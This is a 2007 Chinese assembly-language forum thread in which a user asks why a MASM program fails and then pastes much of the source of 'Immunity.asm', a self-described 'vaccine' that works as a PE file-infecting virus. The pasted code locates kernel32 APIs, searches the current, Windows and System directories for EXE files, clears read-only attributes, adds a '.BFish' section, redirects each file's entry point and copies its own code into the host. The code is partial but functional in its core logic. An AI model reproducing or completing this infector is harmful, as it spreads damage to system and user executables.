为何我的这段代码就会出问题?

lylywenwen 2007-06-05 11:10:54
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

.const

szCaption db '恭喜',0
szText db '当您看到这个信息的时候,您已经可以编译Win32汇编程序了!',0


.code
host_start:

invoke MessageBox,NULL,offset szText,offset szCaption,MB_OK
invoke ExitProcess,0

Immunity SEGMENT PARA USE32 'Immunity'
assume cs:Immunity,ds:Immunity

vstart:
invoke MessageBox,NULL,offset szText,offset szCaption,MB_OK
Immunity ends

end vstart
...全文
253 6 打赏 收藏 转发到动态 举报
写回复
用AI写文章
6 条回复
切换为时间正序
请发表友善的回复…
发表回复
lylywenwen 2007-06-06
  • 打赏
  • 举报
回复
;***************************************************************
;判断感染条件:1,是否PE.2:是否已感染.3:是否有足够的空间.4:WINZIP自解压文件
;***************************************************************
mov ebx, eax
assume ebx :ptr IMAGE_DOS_HEADER
mov eax,[ebx].e_lfanew
test eax,0fffff000h
jnz EndDir ;Header+stub不可能太大,超过4096byte
mov pe_header_off[ebp],eax
add ebx,eax ;此时ebx指向PE文件头!!!!!!!!!!!
assume ebx:ptr IMAGE_NT_HEADERS
cmp [ebx].Signature,IMAGE_NT_SIGNATURE ;是PE文件?
jnz UnMap
cmp word ptr[ebx+1ah],'FB' ;已感染?
jz UnMap
;---------------------------------------------------------------
;指向第二个节判断是否是WinZip自解压文件,是就不感染
;---------------------------------------------------------------
mov eax,ebx
add eax,18h ;PE HEADER(4)+FILEHEADER(14)
movzx esi,[ebx].FileHeader.SizeOfOptionalHeader
add eax,esi ;eax指向第1个节表
assume eax:ptr IMAGE_SECTION_HEADER
mov edx,[eax].PointerToRawData
add edx,ebx
sub edx,pe_header_off[ebp]
sub edx,4
cmp dword ptr[edx],0
jnz UnMap
add eax,28h ;eax指向第2个节表
mov edx,eax
assume edx:ptr IMAGE_SECTION_HEADER
mov eax,[edx].PointerToRawData
add eax,ebx
sub eax,pe_header_off[ebp]
add eax,12h ;加10h+2h(10h处为"WinZip....")
cmp dword ptr [eax], 'piZn'
jz UnMap
push [ebx].OptionalHeader.FileAlignment
pop FileAlign[ebp]
;---------------------------------------------------------------
;判断是否有足够空间存储新节
;28h=sizeof IMAGE_SECTION_HEADER ,18h=sizeof IMAGE_FILE_HEADER
;edi将指向新节
;---------------------------------------------------------------
movzx eax,[ebx].FileHeader.NumberOfSections ;文件的节数
mov ecx,28h
mul ecx
add eax,pe_header_off[ebp]
add eax,18h
movzx esi,[ebx].FileHeader.SizeOfOptionalHeader
add eax,esi
mov NewSection_off[ebp],eax ;保存新节起始RVA
add eax,28h ;比较增加新节后是否超出SizeOfHeaders(节.text在文件中的RVA)
cmp eax,[ebx].OptionalHeader.SizeOfHeaders
ja Infest ;即使没有添加空间还是可以免疫

push pMapping[ebp] ;关闭映射文件,然后重新生成新的映射文件
call vUnMapViewOfFile[ebp] ;并将映射文件的空间增加4K以便加入病毒代码
push hMapping[ebp]
call vCloseHandle[ebp]

push 0
push hFile[ebp]
call vGetFileSize[ebp] ;获取文件大小
cmp eax,INVALID_HANDLE_VALUE
jz CloseFile
mov ecx,FileAlign[ebp]
xor edx,edx
div ecx
test edx,edx
jz NoChange
inc eax
NoChange:
mul ecx
mov fsize[ebp],eax ;文件尺寸节文件对齐
add eax,1000h ;增加4K

push 0
push eax
push 0
push PAGE_READWRITE
push NULL
push hFile[ebp]
call vCreateFileMapping[ebp]
or eax,eax
jz CloseFile
mov hMapping[ebp], eax

push 0
push 0
push 0
push FILE_MAP_READ+FILE_MAP_WRITE
push hMapping[ebp]
call vMapViewOfFile[ebp]
or eax,eax
jz CloseMap
mov pMapping[ebp], eax

mov ebx,eax
add ebx,pe_header_off[ebp] ;此时ebx指向PE文件头!!!!!!!!!
assume ebx:ptr IMAGE_NT_HEADERS

Noinfect: ;保存原入口
mov eax,[ebx]. OptionalHeader.AddressOfEntryPoint
mov old_in[ebp],eax
mov eax, [ebx].OptionalHeader.ImageBase
mov old_base[ebp],eax

mov edi,NewSection_off[ebp] ;新节的RVA
add edi,pMapping[ebp] ;edi→新节起始地址
;---------------------------------------------------------------
;空间允许, 开始插入新节并填充各字段
;esi指向原文件最后一个节,利用它来填充新节某些字段
;---------------------------------------------------------------
inc [ebx].FileHeader.NumberOfSections ;节数目+1
mov esi,edi ;edi指向新节
sub esi,28h ;esi指向上一个节
assume edi:ptr IMAGE_SECTION_HEADER
assume esi:ptr IMAGE_SECTION_HEADER
mov word ptr [edi+0h],'B.' ;新节命名为“.BFish”
mov dword ptr [edi+2h],'hsiF'
push [ebx].OptionalHeader.SizeOfImage
;原文件映像装入内存后的总尺寸,对齐SectionAlignment
pop [edi].VirtualAddress ;新节在内存中的地址
mov eax,offset vend-offset vstart
mov [edi].Misc.VirtualSize,eax ;新节的大小(未对齐)
mov ecx,[ebx].OptionalHeader.FileAlignment
xor edx,edx
div ecx
test edx,edx
jz NoChange1
inc eax
NoChange1:
mul ecx
mov [edi].SizeOfRawData,eax ;新节对齐FileAligment后的大小
mov eax,fsize[ebp]
mov [edi].PointerToRawData,eax ;本节在文件中的位置
mov [edi].Characteristics,0E0000020h ;可读可写可执行
;---------------------------------------------------------------
;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行
;---------------------------------------------------------------
mov eax,[edi].Misc.VirtualSize ;新节的大小(未对齐)
mov ecx,[ebx].OptionalHeader.SectionAlignment ;内存节对齐
xor edx,edx
div ecx
test edx,edx
jz NoChange2
inc eax
NoChange2:
mul ecx
add eax,[ebx].OptionalHeader.SizeOfImage
;对齐后大小+原文件映像装入内存后的总尺寸,对齐SectionAlignment.
mov [ebx].OptionalHeader.SizeOfImage,eax
;更新后的文件映像装入内存后的总尺寸,对齐SectionAlignment.
mov eax,[edi].VirtualAddress ;新节在内存中的地址写入入口点
mov [ebx].OptionalHeader.AddressOfEntryPoint,eax
mov word ptr [ebx+1ah],'FB' ;写入感染标志BF

mov edi,pMapping[ebp]
add edi,fsize[ebp]
lea esi,vstart[ebp]
mov ecx,offset vend-offset vstart
cld
rep movsb ;将病毒代码写入映射的内存中(在原文件之后)
lylywenwen 2007-06-06
  • 打赏
  • 举报
回复
;Immunity.asm
;Written by: wowocock
;Modified by: BFish.
;本程序以“疫苗”方式感染目标文件host_pe.exe,以达到免疫的目的
;免疫原理:
;若文件对齐后节的大小(SizeOfRawData),大于未对齐时节的大小(Misc.VirtualSize),
;则在节表中置后者为前者之值,从而针对CIH这类利用空洞进行寄生的病毒,实现免疫

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

.data
;主程序用到的变量:
mcaption db "已成功注射[ 疫苗 ]!",0
mtitle db "注射[ 疫苗 ]",0

.code
host_start:
;主程序代码,只是简单地显示感染信息,
;病毒代码运行结束后,就会跳到此处执行:
invoke MessageBox,NULL,offset mcaption,offset mtitle,64
invoke ExitProcess,0

Immunity SEGMENT PARA USE32 'Immunity'
assume cs:Immunity,ds:Immunity

vstart:
push ebp
push esp
call nstart
nstart:
pop ebp ;存放eip的值,当时eip指向的值位nstart的位置,在代码中的值
sub ebp,offset nstart ; offset 得到nstart在内存单元中的32位有效地址
;病毒中常用的一种方法:得到一个偏移差
;程序后面用到的所有变量都需要加上个这偏移差进行重定位

assume fs:nothing ;设置SEH,发生异常可以直接返回原入口
lea ebx, SEH[ebp]
push ebx
push fs:[0]
mov fs:[0],esp
mov OldEsp[ebp],esp

;更改程序入口地址:
;程序开始执行时,当前程序的原入口地址会放到old_base+old_in中
;由于程序中old_base_in有别的用途,因此将此地址存放到des_base_in,
;以便最后跳回原程序入口
cmp old_base[ebp],0
jnz gonext
mov old_base[ebp],400000h
gonext:
cmp old_in[ebp],0
jnz change
mov old_in[ebp],1000h
change:
mov eax,old_base[ebp]
mov des_base[ebp],eax
mov eax, old_in[ebp]
mov des_in[ebp],eax
;==============================================================
;获取KERNEL32地址及所需的API函数地址
mov eax,[esp+10h] ;取Kernel32返回地址
and ax,0f000h
mov esi,eax ;得到Kernel.PELoader代码位置(不精确)
LoopFindKernel32:
sub esi,1000h
cmp word ptr[esi],'ZM' ;搜索EXE文件头
jnz short LoopFindKernel32
GetPeHeader:
movzx edi,word ptr[esi+3ch]
add edi,esi
cmp word ptr[edi],'EP' ;是PE文件头?
jnz short LoopFindKernel32 ;esi→kernel32,edi→kernel32 PeHeader
mov vKernel32[ebp],esi
GetPeExportTable:
mov ebx,[edi+78h];4+14h+60h
add ebx,vKernel32[ebp]
mov vExportKernel[ebp],ebx ;得到输出函数表

push 14
call aGetProcAddr
db "GetProcAddress",0
aGetProcAddr:
lea eax,GetApiAddress[ebp]
call eax
or eax,eax
jz ExitTimes
mov vGetProcAddress[ebp],eax ;得到GetProcAddress地址

lea esi,bGetModuleHandle[ebp] ;获取所有用到的KERNEL32函数的地址
lea edi,vGetModuleHandle[ebp]
cld
ComeOn:
lodsd
add eax,ebp
push eax
push vKernel32[ebp]
call dword ptr vGetProcAddress[ebp]
or eax,eax
jz ExitTimes
stosd
cmp dword ptr[esi],0
jnz ComeOn

call UserDll1
db "User32.dll",0
UserDll1:
call dword ptr vGetModuleHandle[ebp]
or eax,eax
jnz Right
call UserDll2
db "User32.dll",0
UserDll2:
call dword ptr vLoadLibrary[ebp]
or eax,eax
jz ExitTimes ;获取USER32.DLL地址
Right:
call GetMess
db "MessageBoxA",0
GetMess:
push eax
call dword ptr vGetProcAddress[ebp]
or eax,eax
jz ExitTimes
mov vMessageBox[ebp],eax ;获取MessageBoxA地址

;目录起始部份
;通过API函数得到当前程序所在目录
lea eax,NowPath[ebp]
push eax
mov eax,256
push eax
call vGetCurrentDirectory[ebp] ;成功返回写入字节数,失败返回0
test eax,eax
jz ExitTimes

;保存当前目录
lea eax,NowPath[ebp]
push eax
lea eax,SrcDir[ebp]
push eax
call vlstrcpy[ebp]
test eax,eax
jz ExitTimes

;根据NowPathNo值来判断感染哪个目录的文件
mov NowPathNo[ebp],1 ;从当前目录开始查找目标文件
FindStartT:
cmp NowPathNo[ebp],1
jz GFindFt
cmp NowPathNo[ebp],2
jz GetWinD
cmp NowPathNo[ebp],3
jz GetSysD
jmp AllFindEnd

GetWinD: ;得到Windows所在目录,并且将其设为当前目录
mov eax,256
push eax
lea eax,NowPath[ebp]
push eax
call vGetWindowsDirectory[ebp]
test eax,eax
jz ExitTimes

lea eax,NowPath[ebp]
push eax
call vSetCurrentDirectory[ebp]
test eax,eax
jz ExitTimes
jmp GFindFt

GetSysD: ;得到System所在目录,并且将其设为当前目录
mov eax,256
push eax
lea eax,NowPath[ebp]
push eax
call vGetSystemDirectory[ebp]
test eax,eax
jz ExitTimes

lea eax,NowPath[ebp]
push eax
call vSetCurrentDirectory[ebp]
test eax,eax
jz ExitTimes

GFindFt: ;查找当前目录下的第一个EXE文件
lea eax,FindData[ebp]
push eax
lea eax,FileFilter[ebp]
push eax
call vFindFirstFile[ebp]
cmp eax,INVALID_HANDLE_VALUE
jz FindEnds
mov hFind[ebp],eax

GoOnFind: ;获取文件的属性,确保文件可以被打开
lea eax,FindData[ebp].cFileName
push eax
call vGetFileAttributes[ebp]
cmp eax,-1
jz EndDir
mov OldAttribute[ebp],eax
test eax,1
jz Open
and eax,0fffffffeh
push eax
lea eax,FindData[ebp].cFileName
push eax
call vSetFileAttributes[ebp]
cmp eax,-1
jz EndDir

;以下是病毒传染部份

Open: ;打开文件
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
lea eax,FindData[ebp].cFileName
push eax
call vCreateFile[ebp]
cmp eax,INVALID_HANDLE_VALUE
jz EndDir
mov hFile[ebp],eax

;保存原来文件修改时间
lea eax, LastWriteTime[ebp]
push eax
lea eax, LastAccessTime[ebp]
push eax
lea eax, CreationTime[ebp]
push eax
push hFile[ebp]
call vGetFileTime[ebp]
test eax,eax
jz CloseFile1

push 0
push 0
push 0
push PAGE_READWRITE
push NULL
push hFile[ebp]
call vCreateFileMapping[ebp]
or eax,eax
jz CloseFile
mov hMapping[ebp], eax

push 0
push 0
push 0
push FILE_MAP_READ+FILE_MAP_WRITE
push hMapping[ebp]
call vMapViewOfFile[ebp]
or eax,eax
jz CloseMap
mov pMapping[ebp], eax
lylywenwen 2007-06-06
  • 打赏
  • 举报
回复
invoke MessageBox,NULL,offset szText,offset szCaption,MB_OK
invoke ExitProcess,0
这2句就行了 写那么多干吗
==============================
算了我把所有的代码都贴上来把
这些代码是病毒程序原理的代码,有些地方的流程不是很懂。
希望各位大哥给小弟指点下

invoke MessageBox,NULL,offset szText,offset szCaption,MB_OK
invoke ExitProcess,0
这2句就行了 写那么多干吗
gp341 2007-06-06
  • 打赏
  • 举报
回复
invoke MessageBox,NULL,offset szText,offset szCaption,MB_OK
invoke ExitProcess,0
这2句就行了 写那么多干吗
lylywenwen 2007-06-05
  • 打赏
  • 举报
回复
难道一定要加上一下代码?

vstart:
push ebp
push esp
call nstart
nstart:
pop ebp
sub ebp,offset nstart
;程序后面用到的所有变量都需要加上个这偏移差进行重定位

assume fs:nothing ;设置SEH,发生异常可以直接返回原入口
lea ebx, SEH[ebp]
push ebx
push fs:[0]
mov fs:[0],esp
mov OldEsp[ebp],esp


cmp old_base[ebp],0
jnz gonext
mov old_base[ebp],400000h
gonext:
cmp old_in[ebp],0
jnz change
mov old_in[ebp],1000h
change:
mov eax,old_base[ebp]
mov des_base[ebp],eax
mov eax, old_in[ebp]
mov des_in[ebp],eax
lylywenwen 2007-06-05
  • 打赏
  • 举报
回复
第一个invoke MessageBox,NULL,offset szText,offset szCaption,MB_OK
应该注释掉...

21,459

社区成员

发帖
与我相关
我的任务
社区描述
汇编语言(Assembly Language)是任何一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。
社区管理员
  • 汇编语言
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧